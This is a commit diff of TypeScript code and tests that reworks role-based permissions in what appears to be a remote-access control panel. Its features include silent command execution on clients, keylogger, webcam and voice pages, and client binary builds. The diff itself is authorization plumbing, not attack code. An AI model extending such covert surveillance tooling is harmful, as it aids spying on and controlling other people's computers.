major RBAC imrpovements + fix thumbnails

This commit is contained in:
KingKDot
2026-07-21 13:18:30 -05:00
parent 9b885ad2ef
commit d602de396e
23 changed files with 599 additions and 213 deletions
+50 -1
View File
@@ -9,11 +9,12 @@ import {
getUserGrantedPermissions,
getUserGroupIds,
listPermissionGroups,
setUserCanUploadFiles,
setUserExtraPermissions,
setUserGroups,
updatePermissionGroup,
} from "./users";
import { hasPermission, getUserPermissions } from "./rbac";
import { hasPermission, getUserEffectivePermissionDetails, getUserPermissions } from "./rbac";
const createdUserIds: number[] = [];
const createdGroupIds: number[] = [];
@@ -140,6 +141,54 @@ describe("user permission groups + extras", () => {
expect(perms.has("users:manage")).toBe(false);
});
test("effective permission details include role, group, and extra grant sources", async () => {
const viewer = await tempUser("viewer");
const g = tempGroup("eff_a", ["clients:metadata"]);
setUserGroups(viewer.id, [g.id]);
setUserExtraPermissions(viewer.id, ["clients:uninstall"]);
const details = getUserEffectivePermissionDetails(viewer.id, viewer.role);
const metadata = details.find((p) => p.id === "clients:metadata");
const uninstall = details.find((p) => p.id === "clients:uninstall");
const control = details.find((p) => p.id === "clients:control");
expect(metadata?.allowed).toBe(true);
expect(metadata?.sources).toContainEqual({
type: "group",
label: g.name,
groupId: g.id,
});
expect(uninstall?.allowed).toBe(true);
expect(uninstall?.sources).toContainEqual({
type: "extra",
label: "Direct extra permission",
});
expect(control?.allowed).toBe(false);
expect(control?.sources).toEqual([]);
});
test("effective permission details reflect build and upload toggles", async () => {
const op = await tempUser("operator");
setUserCanUploadFiles(op.id, true);
const details = getUserEffectivePermissionDetails(op.id, op.role);
const build = details.find((p) => p.id === "clients:build");
const upload = details.find((p) => p.id === "files:upload");
expect(build?.allowed).toBe(true);
expect(build?.sources).toContainEqual({
type: "role",
label: "Build permission toggle",
role: "operator",
});
expect(upload?.allowed).toBe(true);
expect(upload?.sources).toContainEqual({
type: "role",
label: "File upload permission toggle",
role: "operator",
});
});
test("getUserGroupIds returns assigned ids", async () => {
const viewer = await tempUser("viewer");
const g = tempGroup("gid_a", []);
+4
View File
@@ -237,6 +237,7 @@ describe("getPermissionDescription", () => {
["clients:silent-exec", "Silently execute arbitrary commands on clients"],
["audit:view", "View audit logs"],
["chat:write", "Send messages in team chat"],
["files:upload", "Upload shared files and build artifacts"],
["scripts:manage", "Manage auto-run scripts"],
["deploys:manage", "Manage deploys and auto-deploys"],
["plugins:manage", "Upload, enable, and delete plugins"],
@@ -274,6 +275,7 @@ describe("getRolePermissions", () => {
expect(perms).toContain("network:manage-bans");
expect(perms).toContain("system:configure");
expect(perms).toContain("clients:winre");
expect(perms).toContain("files:upload");
});
test("operator gets the role-eligible subset", () => {
@@ -292,6 +294,7 @@ describe("getRolePermissions", () => {
expect(perms).not.toContain("clients:silent-exec");
expect(perms).not.toContain("system:configure");
expect(perms).not.toContain("clients:winre");
expect(perms).not.toContain("files:upload");
});
test("viewer gets nothing", () => {
@@ -312,6 +315,7 @@ describe("listAllPermissions", () => {
expect(perms).toContain("clients:uninstall" as Permission);
expect(perms).toContain("system:configure" as Permission);
expect(perms).toContain("network:manage-bans" as Permission);
expect(perms).toContain("files:upload" as Permission);
});
test("returns the same length as the description coverage (every entry has a description)", () => {
+97 -1
View File
@@ -2,10 +2,14 @@ import { type AuthenticatedUser } from "./auth";
import {
canBuildClients,
canChatWrite,
canUploadFiles,
canUserAccessClient,
canUserAccessFeature,
canUserAccessPlugin,
getUserExtraPermissions,
getUserGrantedPermissions,
getUserGroupIds,
listPermissionGroups,
type FeatureName,
type UserRole,
} from "./users";
@@ -14,6 +18,7 @@ type PermissionDef = {
description: string;
roles: readonly UserRole[];
userOverride?: (userId: number, role: UserRole) => boolean;
overrideSourceLabel?: string;
};
const PERMISSIONS = {
@@ -29,6 +34,7 @@ const PERMISSIONS = {
description: "Build client binaries",
roles: ["admin", "operator"],
userOverride: canBuildClients,
overrideSourceLabel: "Build permission toggle",
},
"clients:enroll": {
description: "Manage client enrollment approvals",
@@ -62,6 +68,13 @@ const PERMISSIONS = {
description: "Send messages in team chat",
roles: ["admin", "operator"],
userOverride: canChatWrite,
overrideSourceLabel: "Chat write permission toggle",
},
"files:upload": {
description: "Upload shared files and build artifacts",
roles: ["admin"],
userOverride: canUploadFiles,
overrideSourceLabel: "File upload permission toggle",
},
"scripts:manage": {
description: "Manage auto-run scripts",
@@ -237,7 +250,7 @@ export function requirePermission(
const authedUser = requireAuth(user);
if (!checkPermission(authedUser, permission)) {
throw new Response("Forbidden: Insufficient permissions", { status: 403 });
throw new Response(`Forbidden: missing permission ${permission}`, { status: 403 });
}
return authedUser;
@@ -322,3 +335,86 @@ export function getUserPermissions(userId: number, role: UserRole): Permission[]
}
return result;
}
export type EffectivePermissionSource =
| { type: "role"; label: string; role: UserRole }
| { type: "group"; label: string; groupId: number }
| { type: "extra"; label: string }
| { type: "system-configure"; label: string };
export type EffectivePermissionDetail = {
id: Permission;
description: string;
allowed: boolean;
sources: EffectivePermissionSource[];
};
export function getUserEffectivePermissionDetails(
userId: number,
role: UserRole,
): EffectivePermissionDetail[] {
const assignedGroupIds = new Set(getUserGroupIds(userId));
const groups = listPermissionGroups().filter((group) => assignedGroupIds.has(group.id));
const extras = getUserExtraPermissions(userId);
return listAllPermissions().map((permission) => {
const def = lookupPermission(permission);
const sources: EffectivePermissionSource[] = [];
if (def) {
const roleGrants = def.userOverride
? def.userOverride(userId, role)
: def.roles.includes(role);
if (roleGrants) {
sources.push({
type: "role",
label: def.overrideSourceLabel || `${role} role`,
role,
});
}
}
for (const group of groups) {
if (group.permissions.includes(permission)) {
sources.push({
type: "group",
label: group.name,
groupId: group.id,
});
}
}
if (extras.has(permission)) {
sources.push({
type: "extra",
label: "Direct extra permission",
});
}
if (
sources.length === 0 &&
permission.startsWith("system:") &&
permission !== "system:configure"
) {
const configureGroup = groups.find((group) => group.permissions.includes("system:configure"));
if (configureGroup) {
sources.push({
type: "system-configure",
label: `Via ${configureGroup.name} → system:configure`,
});
} else if (extras.has("system:configure")) {
sources.push({
type: "system-configure",
label: "Via direct system:configure",
});
}
}
return {
id: permission,
description: getPermissionDescription(permission),
allowed: hasPermission(role, permission, userId),
sources,
};
});
}
@@ -8,6 +8,7 @@ import {
getUserById,
setUserExtraPermissions,
setUserGroups,
setUserCanUploadFiles,
} from "../../users";
import { handleAuthRoutes } from "./auth-routes";
@@ -76,6 +77,7 @@ describe("/api/auth/me permissions array", () => {
expect(set.has("clients:control")).toBe(true);
expect(set.has("system:configure")).toBe(true);
expect(set.has("clients:disconnect")).toBe(true);
expect(set.has("files:upload")).toBe(true);
});
test("operator gets the role-eligible subset and lacks admin-only perms", async () => {
@@ -83,11 +85,13 @@ describe("/api/auth/me permissions array", () => {
const body = await fetchMe(op.token);
const set = new Set(body.permissions);
expect(set.has("clients:control")).toBe(true);
expect(body.canBuild).toBe(true);
expect(set.has("clients:disconnect")).toBe(true);
expect(set.has("clients:metadata")).toBe(true);
expect(set.has("users:manage")).toBe(false);
expect(set.has("system:configure")).toBe(false);
expect(set.has("network:manage-bans")).toBe(false);
expect(set.has("files:upload")).toBe(false);
});
test("viewer has no permissions by default", async () => {
@@ -132,5 +136,23 @@ describe("/api/auth/me permissions array", () => {
setUserCanBuild(op.user.id, false);
const body = await fetchMe(op.token);
expect(new Set(body.permissions).has("clients:build")).toBe(false);
expect(body.canBuild).toBe(false);
});
test("operator with upload enabled gets files:upload and canUploadFiles via /api/auth/me", async () => {
const op = await tempUser("operator");
setUserCanUploadFiles(op.user.id, true);
const body = await fetchMe(op.token);
expect(new Set(body.permissions).has("files:upload")).toBe(true);
expect(body.canUploadFiles).toBe(true);
});
test("viewer in a build group gets canBuild from effective permissions", async () => {
const viewer = await tempUser("viewer");
const group = tempGroup("me_build", ["clients:build"]);
setUserGroups(viewer.user.id, [group.id]);
const body = await fetchMe(viewer.token);
expect(new Set(body.permissions).has("clients:build")).toBe(true);
expect(body.canBuild).toBe(true);
});
});
@@ -471,17 +471,33 @@ export async function handleAuthRoutes(
}
const reasons: string[] = [];
const denialDetails: Array<{
type: "feature" | "client";
message: string;
feature?: FeatureName;
clientId?: string;
}> = [];
if (!canUserAccessFeature(user.userId, user.role, feature)) {
reasons.push("feature");
denialDetails.push({
type: "feature",
feature,
message: `Feature access denied for ${feature}`,
});
}
if (clientId && !canUserAccessClient(user.userId, user.role, clientId)) {
reasons.push("client");
denialDetails.push({
type: "client",
clientId,
message: `Client access denied for ${clientId}`,
});
}
if (reasons.length > 0) {
return Response.json({ allowed: false, denied: reasons });
return Response.json({ allowed: false, denied: reasons, denialDetails });
}
return Response.json({ allowed: true });
@@ -507,7 +523,8 @@ export async function handleAuthRoutes(
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
needsOnboarding: dbUser ? dbUser.onboarding_completed_at === null : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
canBuild: permissions.includes("clients:build"),
canUploadFiles: permissions.includes("files:upload"),
telegramChatId: dbUser?.telegram_chat_id || "",
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
featurePermissions,
@@ -16,12 +16,12 @@ import {
} from "../../db";
import { encodeMessage } from "../../protocol";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { checkPermission, requirePermission } from "../../rbac";
import { logger } from "../../logger";
import { normalizeClientOs } from "../deploy-utils";
import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
import { getConfig } from "../../config";
import { canUploadFiles, canUserAccessPlugin } from "../../users";
import { canUserAccessPlugin } from "../../users";
import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
import path from "path";
import fs from "fs";
@@ -501,7 +501,7 @@ export async function handleBuildRoutes(
}
const safeUploadToFileShare = !!uploadToFileShare;
if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) {
if (safeUploadToFileShare && !checkPermission(user, "files:upload")) {
return Response.json(
{ error: "You do not have permission to upload files" },
{ status: 403 },
@@ -12,7 +12,8 @@ import {
updateSharedFile,
incrementSharedFileDownloadCount,
} from "../../db";
import { getUserById, canUploadFiles } from "../../users";
import { getUserById } from "../../users";
import { checkPermission, requirePermission } from "../../rbac";
import { resolveContainedPath, sanitizeUploadFilename } from "../upload-security";
type FileShareRouteDeps = {
@@ -155,7 +156,7 @@ export async function handleFileShareRoutes(
if (req.method === "GET" && url.pathname === "/api/file-share") {
const files = listSharedFiles();
const userCanUpload = canUploadFiles(user.userId, user.role);
const userCanUpload = checkPermission(user, "files:upload");
return Response.json({
files: files.map((f) => ({
id: f.id,
@@ -176,8 +177,11 @@ export async function handleFileShareRoutes(
}
if (req.method === "POST" && url.pathname === "/api/file-share/upload") {
if (!canUploadFiles(user.userId, user.role)) {
return Response.json({ error: "You do not have upload permission" }, { status: 403 });
try {
requirePermission(user, "files:upload");
} catch (error) {
if (error instanceof Response) return Response.json({ error: "You do not have upload permission" }, { status: 403 });
return Response.json({ error: "Forbidden" }, { status: 403 });
}
let form: FormData;
@@ -2,7 +2,7 @@ import { authenticateRequest } from "../../auth";
import { getConfig } from "../../config";
import { consumeLoginPageRateLimit } from "../../rateLimit";
import { requirePermission, type Permission } from "../../rbac";
import { canUserAccessClient, getUserById, type UserRole } from "../../users";
import { canUserAccessClient, canUserAccessFeature, getUserById, type FeatureName, type UserRole } from "../../users";
type PageRouteDeps = {
PUBLIC_ROOT: string;
@@ -72,11 +72,15 @@ type ClientPageDef = {
pattern: RegExp;
file: string;
clientIdGroup: number;
feature?: FeatureName;
permission?: Permission;
};
type QueryClientPageDef = {
path: string;
file: string;
feature?: FeatureName;
permission?: Permission;
};
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
@@ -87,33 +91,33 @@ const STATIC_PAGES: StaticPageDef[] = [
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },
{ path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true },
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
{ path: "/build", file: "build.html", access: "admin-or-operator" },
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
{ path: "/deploy", file: "deploy.html", access: "admin" },
{ path: "/users", file: "users.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
{ path: "/user-client-access", file: "user-client-access.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
{ path: "/build", file: "build.html", access: "any", permission: "clients:build" },
{ path: "/sol-publish", file: "sol-publish.html", access: "any", permission: "system:configure" },
{ path: "/plugins", file: "plugins.html", access: "any", permission: "plugins:manage" },
{ path: "/scripts", file: "scripts.html", access: "any", permission: "scripts:manage" },
{ path: "/deploy", file: "deploy.html", access: "any", permission: "deploys:manage" },
{ path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true },
{ path: "/file-share", file: "file-share.html", access: "no-viewer", checkPasswordChange: true },
{ path: "/purgatory", file: "purgatory.html", access: "admin-or-operator", checkPasswordChange: true },
{ path: "/purgatory", file: "purgatory.html", access: "any", checkPasswordChange: true, permission: "clients:enroll" },
];
/** Client-scoped pages accessed via query param ?clientId=... */
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/remotedesktop", file: "remotedesktop.html" },
{ path: "/webcam", file: "webcam.html" },
{ path: "/backstage", file: "backstage.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
{ path: "/remotedesktop", file: "remotedesktop.html", feature: "remote_desktop" },
{ path: "/webcam", file: "webcam.html", feature: "webcam" },
{ path: "/backstage", file: "backstage.html", feature: "backstage" },
{ path: "/voice", file: "voice.html", feature: "voice" },
{ path: "/winre", file: "winre.html", permission: "clients:winre" },
];
/** Client-scoped pages accessed via path /:clientId/feature */
const PATH_CLIENT_PAGES: ClientPageDef[] = [
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 },
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1, feature: "console" },
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1, feature: "file_browser" },
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1, feature: "processes" },
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1, feature: "keylogger" },
];
function checkAccess(role: UserRole, access: AccessLevel): Response | null {
@@ -224,8 +228,17 @@ export async function handlePageRoutes(
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
if (page.permission) {
try {
requirePermission(user, page.permission);
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
}
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
@@ -244,8 +257,17 @@ export async function handlePageRoutes(
const user = await authenticateRequest(req);
if (!user) return serveLoginOrUnauthorized(req, deps);
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
if (page.permission) {
try {
requirePermission(user, page.permission);
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
}
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
}
const clientId = match[page.clientIdGroup];
@@ -1,7 +1,7 @@
import { generateToken, authenticateRequest, getSessionTtlSeconds } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { requirePermission } from "../../rbac";
import { getUserEffectivePermissionDetails, requirePermission } from "../../rbac";
import {
listUserSessions,
persistRevokedTokenHash,
@@ -58,6 +58,29 @@ export async function handleUsersRoutes(
return Response.json({ users });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/effective-permissions$/)) {
requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
return Response.json({
success: true,
permissions: getUserEffectivePermissionDetails(targetUser.id, targetUser.role),
clientAccess: {
scope: getUserClientAccessScope(targetUser.id),
rules: listUserClientAccessRules(targetUser.id),
},
pluginAccess: {
scope: getUserPluginAccessScope(targetUser.id),
rules: listUserPluginAccessRules(targetUser.id),
},
featurePermissions: getUserFeaturePermissions(targetUser.id),
});
}
if (req.method === "POST" && url.pathname === "/api/users") {
const authedUser = requirePermission(user, "users:manage");
const body = await req.json();